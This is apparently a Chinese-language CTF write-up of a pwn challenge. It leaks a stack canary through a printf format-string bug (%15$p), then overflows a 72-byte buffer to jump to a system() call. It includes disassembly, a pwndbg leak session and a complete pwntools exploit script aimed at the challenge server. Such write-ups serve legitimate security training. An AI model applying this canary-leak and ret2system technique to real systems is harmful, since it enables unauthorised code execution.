2026-4-13-Canary

2026-4-13-Canary

四月 13, 2026

canary

1
2
3
4
5
6
7
8
9
10
11
12
13
// main函数反汇编转伪c
unsigned __int64 vuln_leak()
{
char buf[72]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v2; // [rsp+48h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Please tell me your name:");
read(0, buf, 0x3FuLL);
printf(buf);
puts(&byte_402026);
return v2 - __readfsqword(0x28u);
}

我们可以看到buf = 72 也就是0x48

这里的 vuln_leak() 负责用格式化字符串泄露 canary;真正的栈溢出发生在后面的 payload 输入函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
; Attributes: bp-based frame

; unsigned __int64 vuln_overflow()
public vuln_overflow
vuln_overflow proc near

buf= byte ptr -50h
var_8= qword ptr -8

; __unwind {
endbr64
push rbp
mov rbp, rsp
sub rsp, 50h
mov rax, fs:28h
mov [rbp+var_8], rax
xor eax, eax
mov edi, offset aTellMeYourPayl ; "tell me your payload:"
call _puts
lea rax, [rbp+buf]
mov edx, 100h ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read
mov edi, offset asc_40203D ;
call _puts
nop
mov rax, [rbp+var_8]
sub rax, fs:28h
jz short locret_4012D9
1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 vuln_overflow()
{
char buf[72]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v2; // [rsp+48h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("tell me your payload:");
read(0, buf, 0x100uLL);
puts(asc_40203D);
return v2 - __readfsqword(0x28u);
}

此题目的难点在于启用了canary

1
2
3
4
(base) ┌──(cure㉿LAPTOP-CMAM5D0J)-[~/CTF/pwn/18]
└─$ /bin/checksec --file=pwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 45 Symbols No 0 2 pwn

要破解canary必须知道canary的基本原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
rbp => | old ebp |
+-----------------+
rbp-8 => | canary value |
+-----------------+
| local variables |
Low | |
Address

转自 https://ctf-wiki.org/pwn/linux/user-mode/mitigation/canary/

首先代码

1
2
3
4
v2 = __readfsqword(0x28u);
puts("Please tell me your name:");
read(0, buf, 0x3FuLL);
printf(buf);

存在格式化字符串利用漏洞,我们可以依据此漏洞泄露栈上canary的值

根据Linux x86_64 / System V ABI 的规则。

普通函数调用时,前 6 个整数/指针参数放在:

1
RDI, RSI, RDX, RCX, R8, R9

第 7 个参数开始才放栈上

1
2
3
4
5
6
7
8
a1 -> RDI
a2 -> RSI
a3 -> RDX
a4 -> RCX
a5 -> R8
a6 -> R9
a7 -> 栈
a8 -> 栈

所以我们要去寻找栈上的canary值,从%6$p开始找

直接利用格式化字符串漏洞去泄露地址,先从 %6$p 左右开始枚举,再根据输出确认

1
2
3
4
5
6
7
pwndbg> c
Continuing.
Welcome to PDSCTF!!!
Please tell me your name:
%6$p|%7$p|%8$p|%9$p|%10$p|%11$p|%12$p|%13$p|%14$p|%15$p|%16$p|%17$p|%18$p
0x2437257c70243625|0x257c702438257c70|0x243031257c702439|0x7c70243131257c70|0x31257c7024323125|0x243431257c702433|0x7c70243531257c70|0x257c7024363125|0x7fffffffce80|0xbd5dae3ec69d5d00|0x7fffffffce80|%
tell me your payload:

我们找到的 0xbd5dae3ec69d5d00 因为结尾是00 明显符合canary的格式

然后我们去找一个合适的跳转落点

1
2
3
4
5
6
4011d6: endbr64
4011da: push %rbp
4011db: mov %rsp,%rbp
4011de: sub $0x10,%rsp
4011f1: mov $0x402004,%edi
4011f6: call 4010c0 <system@plt>

经过验证4011db和4011f1两个地址都可以用

然后利用ROPgadget去找 ret的值,

1
2
3
4
5
(base) ┌──(cure㉿LAPTOP-CMAM5D0J)-[~/CTF/pwn/18]
└─$ ROPgadget --binary pwn --only 'ret'
Gadgets information
============================================================
0x000000000040101a : ret

至此,我们什么都不缺了

构建exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

p = remote('nc1.ctfplus.cn',12034)
buf_addr = 0x48
ret = 0x40101a
sh = 0x4011f1
pay = b'%15$p'

p.recvuntil(b' name:')
p.sendline(pay)
p.recvuntil(b'\n')

leak_data = p.recvline().strip()
canary = int(leak_data,16)

pay = b'a'*buf_addr +p64(canary)+p64(ret)+p64(sh)

p.sendlineafter('payload:\n',pay)

p.interactive()